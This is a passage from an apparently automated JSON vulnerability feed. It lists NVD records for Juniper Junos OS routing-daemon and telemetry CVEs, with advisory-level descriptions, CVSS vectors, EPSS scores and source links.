2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101971","cveId":"CVE-2026-101971","aliases":[],"kind":"vulnerability","title":"An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an...","summary":"An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service and heap memory corruption via OSPFv3 messages on an enabled broadcast interface.","detail":"An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service and heap memory corruption via OSPFv3 messages on an enabled broadcast interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:49.740Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101971","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18851,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101971","type":"primary","publishedAt":"2026-10-14T17:17:49.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101970","cveId":"CVE-2026-101970","aliases":[],"kind":"vulnerability","title":"A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to...","summary":"A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to crash the routing daemon via specific PIM messages when sparse mode PIM is configured.","detail":"A Use After Free vulnerability in the rpd PIM Join/Prune processing of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to crash the routing daemon via specific PIM messages when sparse mode PIM is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:49.577Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101970","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101970&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101970","type":"primary","publishedAt":"2026-10-14T17:17:49.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101970&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101970, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101969","cveId":"CVE-2026-101969","aliases":[],"kind":"vulnerability","title":"An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of...","summary":"An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a malformed PIM Hello message received on an IPv6-enabled PIM interface.","detail":"An Improper Input Validation vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via a malformed PIM Hello message received on an IPv6-enabled PIM interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:49.407Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101969","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101969","type":"primary","publishedAt":"2026-10-14T17:17:49.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101966","cveId":"CVE-2026-101966","aliases":[],"kind":"vulnerability","title":"A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent...","summary":"A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent telemetry dial-out denial of service via a crafted analytics sensor resource submitted through gNMI listener.","detail":"A Use of Externally-Controlled Format String vulnerability in the jti-dialoutd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause persistent telemetry dial-out denial of service via a crafted analytics sensor resource submitted through gNMI listener.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:48.943Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101966","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00427,"percentile":0.36672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101966","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101966","type":"primary","publishedAt":"2026-10-14T17:17:48.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101965","cveId":"CVE-2026-101965","aliases":[],"kind":"vulnerability","title":"An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause...","summary":"An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause telemetry-service disruption, information disclosure, or potential root-level code execution via a crafted message to the gNMI service.","detail":"An Use of Externally-Controlled Format String vulnerability in the gRPC daemon of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause telemetry-service disruption, information disclosure, or potential root-level code execution via a crafted message to the gNMI service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:48.803Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101965","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00601,"percentile":0.48469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101965","type":"primary","publishedAt":"2026-10-14T17:17:48.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101960","cveId":"CVE-2026-101960","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP...","summary":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP global-load-balancing and more than 128 ecmp next-hops allows an attacker to cause an rpd crash.","detail":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on QFX5240, QFX5241 and QFX5250 configured for BGP global-load-balancing and more than 128 ecmp next-hops allows an attacker to cause an rpd crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:48.657Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101960","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101960&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101960","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101960","type":"primary","publishedAt":"2026-10-14T17:17:48.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101960&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101960, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101957","cveId":"CVE-2026-101957","aliases":[],"kind":"vulnerability","title":"An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via...","summary":"An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via an LLGR-stale route update readvertised to a configured non-LLGR peer group.","detail":"An Improper Initialization vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause an rpd crash via an LLGR-stale route update readvertised to a configured non-LLGR peer group.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:48.493Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101957","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00549,"percentile":0.45655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101957","type":"primary","publishedAt":"2026-10-14T17:17:48.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101951","cveId":"CVE-2026-101951","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent...","summary":"An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent configured BGP peer to cause a denial of service by sending a specifically malformed BGP MCAST-TREE update and this NLRI is then attempted to be readvertised.","detail":"An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent configured BGP peer to cause a denial of service by sending a specifically malformed BGP MCAST-TREE update and this NLRI is then attempted to be readvertised.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:48.030Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101951","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00441,"percentile":0.38009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101951&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101951","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101951","type":"primary","publishedAt":"2026-10-14T17:17:48.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101951&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101951, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101948","cveId":"CVE-2026-101948","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a denial of service via a specific BGP FlowSpec update received by an affected BGP session.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause a denial of service via a specific BGP FlowSpec update received by an affected BGP session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:47.727Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101948","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00461,"percentile":0.39662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101948","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101948","type":"primary","publishedAt":"2026-10-14T17:17:47.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101945","cveId":"CVE-2026-101945","aliases":[],"kind":"vulnerability","title":"An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering...","summary":"An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering relationship to cause a denial of service via EVPN BGP route processing. The issue affects EVPN-enabled routing instances and can disrupt control-plane adjacencies.","detail":"An Integer Overflow or Wraparound vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a remote attacker with an established EVPN BGP peering relationship to cause a denial of service via EVPN BGP route processing. The issue affects EVPN-enabled routing instances and can disrupt control-plane adjacencies.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:47.410Z","updatedAt":"2026-10-16T16:16:49.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101945","asOf":"2026-10-16T16:16:49.557Z"},"epss":{"probability":0.00549,"percentile":0.45658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101945","type":"primary","publishedAt":"2026-10-14T17:17:47.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101945, scored 2026-10-25. This is a model estimate, not proof of 